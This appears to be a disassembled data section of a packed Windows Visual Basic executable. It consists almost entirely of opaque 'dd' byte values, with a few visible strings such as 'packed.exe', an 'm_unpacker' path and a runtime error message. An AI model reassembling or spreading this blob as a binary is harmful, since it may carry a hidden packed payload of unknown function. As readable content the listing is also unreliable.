		dd 7, 1AA2F9Eh,	7D920000h, 9EBC7A24h, 0BCC903B4h, 5964C24h
		dd 0C1E10000h, 0CADB25DDh, 0CCDA24DCh, 0C8D822DAh, 0CFD41ED6h
		dd 0C1AF1FD7h, 91495D46h, 8E465847h, 8E466044h,	89415D44h
		dd 0B0586E69h, 0A5B39994h, 0C40CAA27h, 5936C6E0h, 651B8606h
		dd 81A9A94Fh, 0C3E3C1B5h, 0FEB15633h, 90119B2Bh, 0A932DAF0h
		dd 7427B581h, 9DC111A1h, 514D5484h, 6B91A760h, 0CCB581A9h
		dd 0A267098h, 14C76CA5h, 64F309C1h, 10642F3Fh, 2Eh, 11E2F5Bh
		dd 0B5340000h, 0BBC72849h, 37CA1D4Ch, 0AED4530Ch, 0F0D28B2h
		dd 1CF71D6Bh, 0B76AB581h, 0E2A46400h, 0F44725E5h, 0F726h
		dd 0C40C8900h, 17871ADFh, 57D7AA87h, 0E8C55549h, 5B3E4B95h
		dd 2482226Ah, 0B0C6B794h, 0B581A948h, 6F74AFDh,	99DC1DF0h
		dd 0E7772ABBh, 0A7FFA4ECh, 6DF90A54h, 51DB6B33h, 0AB7E5155h
		dd 17BA4BAh, 0E7A04274h, 54032BD1h, 425C4346h, 4EB6CC9Dh
		dd 3465403h, 852A7D50h,	1EF814D2h, 720A3AD6h, 48F9Ah, 0E4BAE800h
		dd 0E3C3E22Ch, 0E1C5E12Bh, 0DDC1DF29h, 0DEC8DB25h, 4BBAB626h
		dd 4C964E58h, 49934B53h, 49934B5Bh, 6E8E4658h, 97B75D73h
		dd 2CAAB399h, 1686B3AFh, 68366990h, 55280595h, 0F7D54E64h
		dd 53EABB93h, 6CC11333h, 1A0BDE07h, 41D1CDD2h, 0E5366780h
		dd 481B50B9h, 76C9DDC8h, 3D693D85h, 5FB86D85h, 0BFE24C6Ch
		dd 0FEA6EEDFh, 2AFDA9FBh, 0B26ABD9Ah, 0E9BB3E68h, 83139310h
		dd 6643D3A6h, 0C0080393h, 5532C2E4h, 42D2CCD5h,	0FD441265h
		dd 0A7000003h, 8E1686B3h, 0D8AB8818h, 0DC3ED1E7h, 580BBB99h
		dd 844774C8h, 1907D93h,	12C54274h, 0D61E3254h, 0D0A8403Ah
		dd 3D4h, 0E79FFFA3h, 0E69E089Dh, 0E49C0A9Ch, 0E098069Ah
		dd 0E1990D96h, 9B08FF71h, 9609530Bh, 9E065008h,	9B065008h
		dd 302B4B03h, 9996F21Ah, 6CE967B3h, 0A8E68D0Ch,	0F47A160h
		dd 824172BCh, 0F28C7B91h, 0FEB1BB99h, 970C540Dh, 5235DBF1h
		dd 75284C66h, 1C8812A2h, 4A1DFA8Ah, 0C72A77F7h,	5936C6D8h
		dd 1D84CE86h, 5E489081h, 0C699059Bh, 76065936h,	41321122h
		dd 7E20A32Bh, 2E1FD242h, 2BE3BBE6h, 6F31C0E1h, 0D1CC5C2Fh
		dd 5DC99918h, 82991457h, 4ED6CC34h, 0DDCE8146h,	4ED621C7h
		dd 0E611446h, 0E3D4B7C4h, 5CC5BCCDh, 10CE8148h,	24BEDBC0h
		dd 1D825AF2h, 5A000003h, 549E5648h, 539D5551h, 519B5353h
		dd 4D974F4Fh, 28985056h, 0C0E6BD48h, 0BDE1BE08h, 0BDE9BB05h
		dd 0B8E6BB05h, 0CFE5E000h, 0B3999629h, 7D219E1Ch, 60EA7A24h
		dd 0EAA55D41h, 0B2F4FDA2h, 0B49121F4h, 0DDB563FDh, 4B9E242Ch
		dd 2011F001h, 72871F67h, 7E47432h, 74C7A434h, 933E7126h
		dd 0A333E6BBh, 6F76994Bh, 0B4FCEF4Ch, 2A25B5F1h, 6F76EC14h
		dd 0DBAE614Ch, 79958E88h, 6A40DBDEh, 4596h, 8D0CE100h
		dd 0B606C078h, 0CF40AD1h, 41B581C1h, 6B3BBB8Eh,	6D9EE83Bh
		dd 1AA7BDAEh, 1BBB93A9h, 0A480D868h, 244C6FF9h,	44133328h
		dd 16A416Eh, 61C70D82h,	6FF7A54Bh, 2EE5984Ch, 0FA4D2BDFh
		dd 0E438h, 0C40C8300h, 0F474C7DFh, 0D761F1ADh, 4F4ADACCh
		dd 0A9988096h, 6DCDB581h, 45986B33h, 0D1C2DCC5h, 33861889h
		dd 4660A8A3h, 148D0D60h, 1CBAD28Ah, 5EB581AEh, 0EB6A5B43h
		dd 80B8F92Ah, 3F62E266h, 0A540C5Fh, 23770797h, 85198616h
		dd 0C008C1B2h, 512EBEE0h, 80DBB0FEh, 9B6C446Ch,	6C839F85h
		dd 0F8AEF74Ch, 33E68B68h, 0A5EDA860h, 7C24A4FAh, 7485CF22h
		dd 0D48EA495h, 69427B72h, 267DC5B6h, 257EC880h,	3D6D0D4h
		dd 0DBC82D45h, 0AD851D3Ah, 1C4h, 0F7AFEFB3h, 0F6AEF8ADh
		dd 0F4ACFAACh, 0F0A8F6AAh, 0F1A9FDA6h, 8B18EF81h, 8619631Bh
		dd 8E166018h, 8B166018h, 403B5B13h, 99E8C22Ah, 7CF977B3h
		dd 1A62267Dh, 22CA1886h, 17B581A9h, 0E7A09164h,	509E009Fh
		dd 0B581A9A8h, 0DF97EA9Dh, 0DA920C95h, 0C386B37Dh, 0C10FBCD2h
		dd 0D030BB93h, 6441D1D5h, 7FA90191h, 4D4C6C41h,	658BA15Ah
		dd 0D84C6C41h, 0A8FEA525h, 46C65B55h, 6A41D711h, 0B563h
		dd 247DAE00h, 4360EA7Ah, 28B8EEB6h, 90E8784Bh, 0B581AE26h
		dd 1C846D34h, 9515F282h, 0D3C4970Fh, 256DA754h,	1669A60Bh
		dd 8C24A35Eh, 0E5050A9Bh, 0FDA42477h, 21F4B2F4h, 4D0C3D91h
		dd 474D465Ch, 6EB6446Ch, 751A6D31h, 964F0AC2h, 6CC19880h
		dd 9A1ACD4Ch, 0FA449707h, 3190AC9h, 427B3C08h, 51998A3Dh
		dd 529C5452h, 4D975551h, 653ADB09h, 0CEF5CDh, 0F9A90000h
		dd 2A3EDA5h, 4A2ECA4h, 0A0EAA2h, 79CE69Eh, 0F977E79Fh
		dd 5911950Eh, 560E900Fh, 560E980Ch, 5109950Ch, 0F8203631h
		dd 6DB399EBh, 267D72EFh, 5A478F80h, 84D7B444h, 7F1F82CCh
		dd 247D6AC7h, 4160EA7Ah, 64ED6C5Dh, 2DA0E2C6h, 0EF03BB0Eh
		dd 0F80EFFC2h, 0BB99C872h, 0D660F0A3h, 63E2D3CBh, 0C7CFD545h
		dd 1ED629A3h, 41D1CDD4h, 5FD86EE9h, 0C3585415h,	540C920Fh
		dd 1607970Ah, 7ED1D5CEh, 0FD74F3EEh, 0ADF1AEDEh, 4389401Dh
		dd 0CE4EA164h, 623CCCD2h, 0EBA4C55Eh, 31522FD5h, 1C6F2277h
		dd 0E199059Ch, 0B1576D26h, 0A4773152h, 831E9EF1h, 5201E7FDh
		dd 81347731h, 2D009E01h, 0F1ADF43Ch, 0A1318461h, 3C9h
		dd 13AE2C00h, 0E979257Dh, 0CC5C425Fh, 0B4446242h, 9929752Ah
		dd 8212940Fh, 6BFBABF8h, 4FDFBFE1h, 35C5E1C5h
		dd 1CACFAABh, 0E7895739h, 4C781h, 0BB530000h, 4, 875BDF29h
		dd 685C243Ch, 791Dh, 68241C89h,	669Dh, 68240C89h, 61833C3h
		dd 83241C8Bh, 8B5404C4h, 0C481240Ch, 4,	8B850h,	20050000h
		dd 17B464Bh, 4B202DC8h,	18897B46h, 2434FF58h, 4C48359h
		dd 53241C8Bh, 0C381E389h, 4, 8704C383h,	0E95C241Ch, 0FFFB076Ah
		dd 0D2DB6409h, 0E4CBF04Ah, 0B811DE3Fh, 618431Fh, 0E0FFC503h
		dd 7759B05h, 6294A981h,	45E90B17h, 754A7C62h, 23802639h
		dd 4F4A5612h, 73E4F5DAh, 150FAF28h, 0D5F1CADh, 4152FDDDh
		dd 25FB202h, 42CAA25Dh,	42C35060h, 5E4585DCh, 7D3FCB1h
		dd 7FDED67Ah, 34E24D2Ah, 3F82D3A4h, 16DE9h, 0F4622900h
		dd 0E705C546h, 5C3A4377h, 6E755F6Dh, 6B636170h,	70007265h
		dd 656B6361h, 78652E64h, 65h, 3Ah dup(0)
		dd 61433300h, 746F6E6Eh, 6E696620h, 25272064h, 202E2773h
		dd 61656C50h, 202C6573h, 692D6572h, 6174736Eh, 74206C6Ch
		dd 20736968h, 6C707061h, 74616369h, 6E6F69h, 6E756854h
		dd 614D5452h, 5F006E69h, 6162765Fh, 54726156h, 654E7473h
		dd 4 dup(0)
		dd 66E90000h, 6800001Ch, 618475Dh, 0FA3A94E9h, 485C68FFh
		dd 8AE90618h, 68FFFA3Ah, 618493Ah, 0FA3A80E9h, 49C668FFh
		dd 76E90618h, 68FFFA3Ah, 6184A05h, 0FA3A6CE9h, 4AEA68FFh
		dd 62E90618h, 68FFFA3Ah, 6184B3Dh, 0FA3A58E9h, 4B8C68FFh
		dd 4EE90618h, 68FFFA3Ah, 6185333h, 0FA3A44E9h, 53E068FFh
		dd 3AE90618h, 68FFFA3Ah, 61854BAh, 0FA3A30E9h, 559F68FFh
		dd 26E90618h, 68FFFA3Ah, 618562Fh, 0FA3A1CE9h, 571168FFh
		dd 12E90618h, 68FFFA3Ah, 618578Dh, 0FA3A08E9h, 583568FFh
		dd 0FEE90618h, 68FFFA39h, 6185EB0h, 0FA39F4E9h,	5FB568FFh
		dd 0EAE90618h, 68FFFA39h, 6186069h, 0FA39E0E9h,	0CF3B2EFFh
		dd 0E34D4131h, 0FB5D5545h, 11776D5Dh, 268E8373h, 4EBC1B88h
		dd 6353F159h, 7A6A086Ch, 93832181h, 9E9D3B99h, 4DA4CC3Dh
		dd 98AB7601h, 0B7150F46h, 0BDD94BB4h, 31918AA6h, 275E7C9Dh
		dd 8DEBE5BDh, 82764CEFh, 3A31AE18h, 9D73FCA7h, 63D640A8h
		dd 69FBA0A6h, 546B6DB7h, 3C39E904h, 89DFE244h, 0ADD546F1h
		dd 0BC75FBF3h, 552BD66Eh, 0AE91FB5Dh, 0FBF3315Dh, 0B0906975h
		dd 0FF5F582Eh, 6B61B895h, 2FA8DE30h, 4E000000h,	5CCD636Ah
		dd 6FE90734h, 6259ED3Bh, 2C261967h, 9D0EB951h, 69FC079Ch
		dd 0B5C5FADh, 75FBE8DFh, 8A5E3E17h, 0DE305C33h,	0BF7Ah
		dd 150F2000h, 0D94BB4B7h, 1B3E270Dh, 0CE44E34h,	43ACAF17h
		dd 606017D1h, 0B21C7769h, 7F82E0DAh, 0D371CFC9h, 0E9A4D848h
		dd 2A847E6Fh, 0E49206DBh, 0E50D7EFDh, 0F46FE928h, 0D8760EA6h
		dd 16B5F35h, 67C5BF97h,	7F020964h, 27BA63D4h, 75C369FBh
		dd 0B84B42D7h, 0EB13840Dh, 0F275FB28h, 3EAF3AA4h, 700FCA0Fh
		dd 9C25D01Eh, 967AA213h, 0D3816FEFh, 77E179DBh,	0A442AA9Fh
		dd 6557BFB4h, 79436859h, 0C42ACFB2h, 6C000019h,	7F6F0D79h
		dd 9383218Bh, 0AB9B399Bh, 0C1B14FB5h, 59C664CCh, 2F978CFEh
		dd 46AAA191h, 5FBFB8A8h, 79D7D1C1h, 0A7BDCDBh, 76014EE2h
		dd 0F84D6E9h, 2414B21Ah, 0DA2ECC2Ah, 8A80636Ah,	0E0087924h
		dd 0EF6FE907h, 0ED5E09A1h, 69FB11ECh, 4E24CF1Dh, 0A386F05Ah
		dd 0FB1E2652h, 0A5855E75h, 2F917AD1h, 0D1C1DEh,	0F670000h
		dd 0FEB4B715h, 4D9EA109h, 6FE902DDh, 7D1B7973h,	3235938Dh
		dd 0A7CF40C9h, 0B66FE90Bh, 8A81FE68h, 3AC34CF7h, 0DAF1A3C8h
		dd 7306A653h, 6FE9834Bh, 279A0452h, 69FB827Eh, 0B1170DE3h
		dd 0FEE58AEh, 83153DAEh, 0D62475FBh, 0C4BD933Eh, 14726C64h
		dd 0D351BB11h, 9B44F3Eh, 0D7DA3A33h, 1B8C1781h,	701028FDh
		dd 163EAF10h, 256FEFDDh, 22943FD7h, 2DF3CA42h, 42B35E89h
		dd 6FEF5A1Ah, 0DE69D321h, 554B1308h, 0C9B957EFh, 3A7A6CD4h
		dd 0BD7943A4h, 18C535DAh, 786B0000h, 8A7E6E0Ch,	9A928220h
		dd 0B4AA9A38h, 0CBC0B04Eh, 0F958C563h, 902E968Bh, 0A745A9A0h
		dd 0C05EBEB7h, 0DA78D6D0h, 0E1097ADBh, 0E876014Fh, 1A0F83D5h
		dd 2A2414B2h, 0FDA2ECCh, 0FE5E5715h, 0A0DA5FBh,	51FC5A54h
		dd 1F22827Bh, 4CE15FC9h, 0A617C241h, 69FB0EF9h,	66B7BA08h
		dd 75FB0F3Ah, 0E5B99972h, 0DE2F868Eh, 0B4D5h, 80AD7B00h
		dd 16C1404Bh, 2C911B8Dh, 5D3728CEh, 1BE380F3h, 148669FCh
		dd 0BA2BDB0Bh, 75FB0892h, 0B5B74B99h, 0A584EE68h, 100A5D57h
		dd 93C1864Fh, 0F761C7BDh, 45F0737Ah, 8340BFD4h,	0FD004E3Ch
		dd 6D18ABA2h, 96B4A3FCh, 31CC3E3Eh, 0C9EF6809h,	351309Ah
		dd 2A888258h, 1B77E98Ch, 8EF8EC19h, 2255FAh, 66C4BE96h
		dd 0B9FEAE74h, 25CAADA6h, 17E7h, 4CEA5649h, 60FE685Ch
		dd 78167870h, 8E2C9288h, 0A341A99Eh, 7469DB36h,	877E6E0Ch
		dd 9C958523h, 0B4AE9E3Ch, 58B9B856h, 150BFE7h, 69BBCE76h
		dd 0B4B7150Fh, 24CF5259h, 0FB0F06B3h, 2BC91769h, 3D80ADD7h
		dd 70A7267h, 0C3CA47B1h, 87249540h, 9669FB2Fh, 0E5FB4E48h
		dd 8AEED424h, 0E4550083h, 0EB3608CFh, 0B20D105Eh, 70CEC8BBh
		dd 63BC2DD8h, 0AAF1255Ch, 0CA402FCh, 33918B61h,	4DABA595h
		dd 0C59BD5Bh, 2A78AF8h,	175Bh, 0D876E2D5h, 0EC8AF4E8h
		dd 4A204FCh, 1AB81E14h,	2FCD352Ah, 0F567C2h, 130AFA98h
		dd 282111AFh, 403A2AC8h, 0E44544E2h, 1504B73h, 0ED3F5276h
		dd 0C5B7150Fh, 7949F651h, 1C6207EAh, 14000017h,	2717B521h
		dd 3B2BC933h, 5343E143h, 6959F75Dh, 16E0C74h, 0D73F34A6h
		dd 0EE524939h, 7676050h, 217F7969h, 0B2238483h,	7601518Ah
		dd 0F2C7E91h, 59B4B715h, 17756F52h, 0D1C6BE14h,	78106669h
		dd 2FB35CCDh, 6CBA69FBh, 0AC6E4FC1h, 0FF3E541Dh, 0B051FB6Bh
		dd 43ADDAE4h, 524C22C5h, 0A105FCF4h, 0A4DE489Eh, 0AB363598h
		dd 35F28F00h, 0D523700Dh, 0A19A70DBh, 7EE83E41h, 41EE910Bh
		dd 942F1EF3h, 0CD6378E9h, 74C206A3h, 2C171671h,	224ABB38h
		dd 290AA3AEh, 0EA4043DBh, 481EA752h, 33958D51h,	0D842989Bh
		dd 0B7210C65h, 7248D104h, 5D85187Ah, 6C0C98DFh,	6CAF8A1Eh
		dd 0B9FF8CDEh, 7722704Fh, 444DA7A1h, 76E1F3FFh,	0D17412AAh
		dd 0B2AFD748h, 70BE0C98h, 0D6342E06h, 9A4B28E4h, 771CFFDCh
		dd 1637h, 0FC9A06F9h, 10AE180Ch, 28C62820h, 3EDC4238h
		dd 53F1594Eh, 24198BE6h, 372E1EBCh, 4C4535D3h, 645E4EECh
		dd 8696806h, 1516F97h, 196B7E76h, 0E9074C74h, 1793BF6Fh
		dd 0E20E6FE9h, 5D6FE927h, 6FE90731h, 0FDEF4D47h, 7949F6FDh
		dd 0E4862B0Eh, 4C000015h, 5F4FED59h, 7363016Bh,	8B7B197Bh
		dd 0A1912F95h, 39A644ACh, 0F776CDEh, 268A8171h,	3F9F9888h
		dd 59B7B1A1h, 0EA5BBCBBh, 760152C2h, 6A64B6C9h,	0AC35E063h
		dd 0E78E2D6h, 0FB32CA9Bh, 3F35E369h, 0A14F41D9h, 567337C2h
		dd 1595CE73h, 0A89B0000h, 0BAAE9E3Ch, 0CAC2B250h, 0E4DACA68h
		dd 0FBF0E07Eh, 2988F593h, 0C05EC6BBh, 0D775D9D0h, 0F08EEEE7h
		dd 0AA80600h, 1139AA0Bh, 18760152h, 150FB305h, 4FEB4B7h
		dd 52EA5046h, 9B7B324Fh, 0E64E4319h, 7F489F7Ch,	3C8FD81Dh
		dd 35000000h, 0E9074874h, 0DED5AB6Fh, 3E38107Ah, 22258980h
		dd 77DFD4CCh, 0C89E41DFh, 1A6C6FCFh, 0A242A00Bh, 0CD37CFFAh
		dd 0B2A7BB5Ah, 4DB6B96Fh, 0A82B53C4h, 0E4327044h, 150DB37Ah
		dd 0F610000h, 59B4B715h, 14786F52h, 7823BB11h, 7567EEFh
		dd 0B7656FE9h, 65C5FBDh, 879046Eh, 69FB2063h, 38FEF4A2h
		dd 4043DB43h, 1FB452EAh, 79EA952Ch, 700D2868h, 561E13C1h
		dd 0A3F9FC5Eh, 0BA1A130Bh, 0C6C961B7h, 61561810h, 0A3F565F9h
		dd 21B574A6h, 3360EB89h, 496FE976h, 6A40EB55h, 54BEB270h
		dd 6063FB51h, 0B44CB6AAh, 0E8DCCC4Ah, 0A0127B7Eh, 848933DCh
		dd 6D45AF78h, 0F00C0F79h, 94885737h, 40978C2Ah,	87D81E1Dh
		dd 24Eh, 0AA1408DEh, 0ABE751A7h, 2A90865Ch, 0B94843C0h
		dd 8949D0Eh, 57A569FBh,	40AA9E54h, 54BEB2A2h, 25D40051h
		dd 833C75FBh, 76E0D4A3h, 3BAC35D8h, 75FB2513h, 0E562CC1Ah
		dd 90735FE6h, 686BCBC4h, 4A2E7E12h, 8F18C35Bh, 0FB9EF61Eh
		dd 4DB70575h, 0C35851C2h, 0B301700Dh, 7C7147B0h, 655B1114h
		dd 25FD67FFh, 3A2AC830h, 89DADD45h, 6FE9C45Fh, 5F2E0EC7h
		dd 4AA8A26Ah, 8C7F14B2h, 0EBC14AF5h, 378D90F4h,	0F48D5ACDh
		dd 67F069FBh, 0FB93CEF6h, 258FDD75h, 180FE546h,	0C85BB1B4h
		dd 75FB93A0h, 0A50B01AFh, 1CB44CA2h, 0B696319h,	0D041CA6Dh
		dd 75FB93A8h, 27FF69B7h
		dd 7BCCCF2Dh, 75FB9353h, 4B1AFAB3h, 0D89C9351h,	267C7FDFh
		dd 9D358B8Eh, 0B11B0FFFh, 9A04F8AEh, 0E2C27B97h, 19A21F13h
		dd 0FB9380A8h, 0AE418F75h, 75FB9386h, 11AF4795h, 3006C51Ch
		dd 0A60CDEh, 5CB20000h,	0BF299186h, 878AF2E7h, 7174DCD1h
		dd 0EDBC9C55h, 0FE590F8h, 0CD4BB517h, 1D7E81D8h, 82C8D8h
		dd 0F6E0000h, 360CB715h, 8F72DC3Eh, 0D681DFD9h,	7B4DC4Dh
		dd 6DBB6FE9h, 716A2003h, 34A50E11h, 6FE9070Ch, 0D3CDC513h
		dd 37B07275h, 0D18AE857h, 0CA2822F1h, 0F050491Fh, 0BC130886h
		dd 3D81D7Eh, 40h, 3336E85Ah, 1013C763h,	5DB3B618h, 6A1F5BC5h
		dd 0C435E063h, 69FB37F7h, 0C44DF846h, 0FB382B53h, 0DF413975h
		dd 452892E0h, 0AB0F06DCh, 38A2CE41h, 1DA75FBh, 0AFF64D21h
		dd 0AF3DDE2Fh, 0E3000000h, 64AAEA5Ch, 402617DBh, 0CF5259D6h
		dd 2E6AB324h, 65B369FCh, 4EB8AC62h, 42370DB0h, 1781D7DAh
		dd 0DEE14B3Fh, 1FCA3428h, 918B5549h, 42989B33h,	20D9F5D8h
		dd 137D7140h, 7FCD275h,	0DD4A9C9Fh, 42A18C81h, 4C443CD4h
		dd 2791E7EAh, 3060F34Ah, 1C12E8DEh, 4D134CB6h, 0B9000000h
		dd 37E2616Ah, 16F9BEC6h, 2D2FA110h, 41095ABFh, 0A5F3D23Ch
		dd 0C72F24FAh, 7376D6CFh, 67D0B31Dh, 693432F5h,	47B10186h
		dd 0E8DDA8D4h, 7E5E1DEFh, 2822010Ah, 80F736CAh,	9BCDEEA6h
		dd 0DFE75803h, 2E901611h, 76342E0h, 11000000h, 5520h, 170FCE00h
		dd 3F980AB5h, 0A5766EA5h, 20D6B923h, 0C857C62Ch, 38591E06h
		dd 0E98C9FC7h, 0C860AE6Fh, 0AEA29230h, 0E9E64144h, 18EE575Ah
		dd 9F10BB23h, 6FE98C77h, 5BCE3886h, 90177E3Ch, 777AE4D8h
		dd 6265CBC1h, 0FF6E4E05h, 9C705029h, 0D81CF545h, 0C798Ch
		dd 6D6A3200h, 0E78ADBDEh, 4FE64232h, 6BC29676h,	0B261C8B2h
		dd 2Eh,	0DE6D6A58h, 79AC233h, 53A16FE9h, 0F4F336A8h, 265573AAh
		dd 0D1D4362Eh, 0DD2E117Bh, 0C69B5517h, 0C296764Fh, 8190BE6Bh
		dd 2D5B2h, 6D6A5800h, 655D33DEh, 2D5D9903h, 0B7150FD1h
		dd 0E13D360Ch, 8D366305h, 7520B846h, 0E999DC04h, 2B95E36Fh
		dd 19A20DEFh, 0E90780A8h, 3C9E966Fh, 96E4E339h,	0C30AF02Ch
		dd 98D51D86h, 0EDBBBC26h, 0DF496C1Eh, 38A6h, 6D6A4C00h
		dd 39AA33DEh, 6FE90711h, 2460CA18h, 6FDD35Ch, 98C538A2h
		dd 0A96FE907h, 0E2DAB05Bh, 5CDA1680h, 0A2170F22h, 0E9070931h
		dd 2AC2106Fh, 201955CEh, 2Eh, 0DE6D6ACEh, 0BEEB5C82h, 296FE907h
		dd 0CD7EF09Bh, 43CF7CEEh, 365ECF7Ah, 456FE9A6h,	5C518DF7h
		dd 0B5170F22h, 0DA3C340Ah, 0DB1781D7h, 0A5741955h, 0EF7B9E03h
		dd 4F492FAh, 27D2AC0Ah,	0F6F95751h, 695E36A0h, 91482701h
		dd 36BD2FB1h, 8BA665B5h, 958F67D1h, 847CE0D7h, 0CD232690h
		dd 54188A35h, 6189FA44h, 68846087h, 7FAB861Ah, 2F9A74DEh
		dd 1827C3BDh, 0EA28BC22h, 59319B8Ch, 557DEE5Fh,	6484605Dh
		dd 4AA47E16h, 0A932F5A3h, 605D1038h, 7A711F84h,	62D37E16h
		dd 84605D3Ah, 0E889F341h, 0E13F3908h, 77352FE7h, 0C61C1F7Dh
		dd 675C542Eh, 605DD704h, 0BE98E684h, 676AD0C6h,	0D142BBB1h
		dd 84605DA9h, 0C7CA62B0h, 3DAC8C05h, 0F8C7A75Eh, 0EEA6A0FEh
		dd 768E91F9h, 32988E80h, 217F792Fh, 3E35C1Eh, 7349F494h
		dd 0C2181B79h, 55D7B758h, 0BA24887Fh, 0E785EDE2h, 0F49FFDF7h
		dd 0C3C6241Eh, 1D7B756Dh, 784EF9B3h, 0D8B01A84h, 5D5380E3h
		dd 0E0B68460h, 978E86E8h, 70DA3033h, 87EDE391h,	0BC962E84h
		dd 841C8E0Fh, 0FEE5B9EEh, 0A7872892h, 2A20DED8h, 90C6A64h
		dd 89831BB3h, 0CE79D7D1h, 2AACD445h, 65B38460h,	0C09641FBh
		dd 0BEF862CCh, 572DD82Ch, 0A5FBFE5Eh, 0EBBA9A3Bh, 0E19993F1h
		dd 6CDE89E7h, 0A52D4F70h, 698CD657h, 0FCEA4FBDh, 4840FA64h
		dd 3F67D853h, 4E846037h, 4BBD6800h, 876FD338h, 8C46B03Bh
		dd 4716F6ADh, 37958F4Dh, 643AA59Fh, 52B4AC6Ah, 8165B7BAh
		dd 0B1A8BA2Ch, 9FDB45DDh, 5BB7150Fh, 616AD12Dh,	0F10D86E2h
		dd 1D86C30Ah, 58EAD5h, 6A900000h, 288E8261h, 332CDF7Dh
		dd 36CE66F2h, 91865CDAh, 7C702629h, 88827A12h, 67D1272Ah
		dd 73E6BDCh, 54F6FE9h, 0F789CBD2h, 0B814AC9Eh, 3CA2EA5Ch
		dd 1215776Fh, 9A9C28BCh, 86C04BB5h, 2CB51B0Fh, 11DD5B66h
		dd 559AF68Eh, 92865C19h, 65CF2528h, 399Eh, 616A4C00h, 0D35C86E2h
		dd 0E9073A62h, 9993416Fh, 4AE2383Bh, 0B7E455E0h, 206FE907h
		dd 225C3692h, 6B11B0Fh,	7E743A30h, 91888018h, 6AD42A2Dh
		dd 8E865C2Eh, 69D3292Ch, 21749BD7h, 0D36FE918h,	0FFFCE9ECh
		dd 48749AFFh, 0B96FE907h, 9F8F2DBCh, 119A45A7h,	0E90778A0h
		dd 0CF39876Fh, 7739BECh, 37E06FE9h, 0EBD9BCC5h,	44AE7CFDh
		dd 0FCF4C3A3h, 0F566EF9Ah, 6FE9B0CDh, 0A6248EDCh, 0E1097A03h
		dd 536FE9B0h, 0E6082353h, 42908F4Ah, 0A20C00D8h, 0C92721F7h
		dd 0B53EE15Fh, 0E99E1C44h, 6BD5236Fh, 6366FDEEh, 0BFEDA112h
		dd 18F8D12Dh, 66C8C096h, 0C6A30D63h, 1A74426Fh,	24AB6h
		dd 865C5C00h, 0D0262991h, 7C6F366h, 32396FE9h, 0DE9304AFh
		dd 0EF69FB03h, 1B1303A1h, 0C00B6B9h, 0FD6EF7A2h, 75FB0CD5h
		dd 492C96E4h, 32359F93h, 0C93AD4D7h, 75FB0CA1h,	17C25AA8h
		dd 0D2BB9A6h, 0A2139C70h, 6FE92C7Ah, 17883381h,	6FE92CEFh
		dd 6746B0FEh, 0D1C72719h, 41247949h, 0DEE9Ch, 0E34F4200h
		dd 0F7615545h, 0F716959h, 258B8171h, 3AA29787h,	62D02F9Ch
		dd 7767056Dh, 8E7E1C80h, 0A7973595h, 0B2B14FADh, 5AB8E051h
		dd 0B4C77601h, 0A4150F62h, 0E9070B33h, 2CC4126Fh, 50B4AB81h
		dd 0AA8DF74Dh, 1AC55C4Fh, 0F1444FA9h, 0B5A01269h, 57FBE49Eh
		dd 5A5E23B2h, 57EFE842h, 15C00EEDh, 58C2B68Ch, 1107FF55h
		dd 716941ABh, 8981710Fh, 82F37C27h, 7601345Ah, 0C67F1361h
		dd 32F775E7h, 0A1573AA4h, 0EB4649A7h, 0B5DD4EE0h, 0CB7601F5h
		dd 247271D3h, 6370E18Ch, 0B27013FDh, 0A3A61004h, 0A1C3B54Dh
		dd 0B6793F0Fh, 0D412ED3h, 0FCEF0000h, 0E02F290h, 1E1606A4h
		dd 382E1EBCh, 4F4434D2h, 7DDC49E7h, 14B21A0Fh, 2BC92D24h
		dd 44E2423Bh, 5EFC5A54h, 658DFE5Fh, 7476015Ah, 150F0F61h
		dd 0D94BB4B7h, 0CF41380Ah, 8D0A7460h, 7C22079Eh, 0D0A50359h
		dd 196F72DCh, 3180ED81h, 23DA70B7h, 8157E08Bh, 6D952888h
		dd 7C6FE907h, 0C839C42Eh, 69FB1103h, 173CF842h,	1E706939h
		dd 4B69DB86h, 62E1FC99h, 0BCAC2A94h, 31C664C2h,	8BFCA73Ah
		dd 7004032Ah, 95BD2EB7h, 0A46FF401h, 1AAD243h, 63B16FF4h
		dd 348261CBh, 59BBB389h, 71D3CBBBh, 362F056Eh, 9A946CD6h
		dd 0F96A4C40h, 0F08835DBh, 89B92EDh, 0FFDFEC5Dh, 0CD2E6A05h
		dd 200345Ch, 42ED3B76h,	200A9D1h, 0CA62B076h, 30FD7AD8h
		dd 39DEC173h, 0C67h, 0CC6AD6C9h, 0E07EE8DCh, 0F896F8F0h
		dd 0EAC1208h, 23C1291Eh, 0F4E95BB6h, 7FEEE8Ch, 1C1505A3h
		dd 342E1EBCh, 0D83938D6h, 15B3F67h, 0E93B4E76h,	0B4B7150Fh
		dd 24CF5259h, 9C94564Eh, 0AD38A23Ah, 0FB2C173Ch, 0FDA8F669h
		dd 24CF2D27h, 0FB318BB3h, 0DA449275h, 0E786C5Ch, 2F7CD70h
		dd 6058309Ah, 5C0C60FEh, 0BE289286h, 0CB74A41h,	0FB1C129Bh
		dd 0C0D11B69h, 0E2037734h, 0B229FB38h, 5EF67143h, 4672C3C6h
		dd 7E75FBB2h, 9AF1C5A5h, 0E1DE3025h, 94h, 511B0F87h, 9FF5F858h
		dd 5A4E0407h
		dd 9F379790h, 8AF0E69Ch, 24951E87h, 6FE907FCh, 7BEE657h
		dd 7FCD6FE9h, 0F0C83280h, 0E60E7FFCh, 0F56FE907h, 0F36B13A7h
		dd 8308D220h, 0B5B84DEBh, 4912832Eh, 5069FC00h,	0FE381002h
		dd 0CEF7336h, 0B8267h, 4FBBAE00h, 63CDC1B1h, 7BDDD5C5h
		dd 91F7EDDDh, 0A60E03F3h, 0CE3C9B08h, 0E3D371D9h, 0FAEA88ECh
		dd 1303A101h, 1E1DBB19h, 5C244CBDh, 182B7601h, 0B11B0FC6h
		dd 0A9FE7013h, 0F44DE06Dh, 7EC78EF8h, 75000000h, 0AEB11B0Fh
		dd 0FE7B6F45h, 0E907658Dh, 8E26746Fh, 4ECB358Bh, 9019C45Fh
		dd 0E907F71Fh, 0C1E95A6Fh, 0C86FE907h, 0C32D7B7Ah, 0E1D9AF38h
		dd 0B5A2157Fh, 1869FB26h, 580D8DA6h, 0E168FC62h, 4B2A94C7h
		dd 0DC3B0BFDh, 0FDE07337h, 0AF258h, 0DF4B3E00h,	0F35D5141h
		dd 0B6D6555h, 21877D6Dh, 369E9383h, 5ECC2B98h, 73630169h
		dd 8A7A187Ch, 0A3933191h, 0AEAD4BA9h, 5DB4DC4Dh, 0A8BB7601h
		dd 0B7150F56h, 0A604FEB4h, 0EFCF86A3h, 1D7EC41Bh, 0EBE3B9D8h
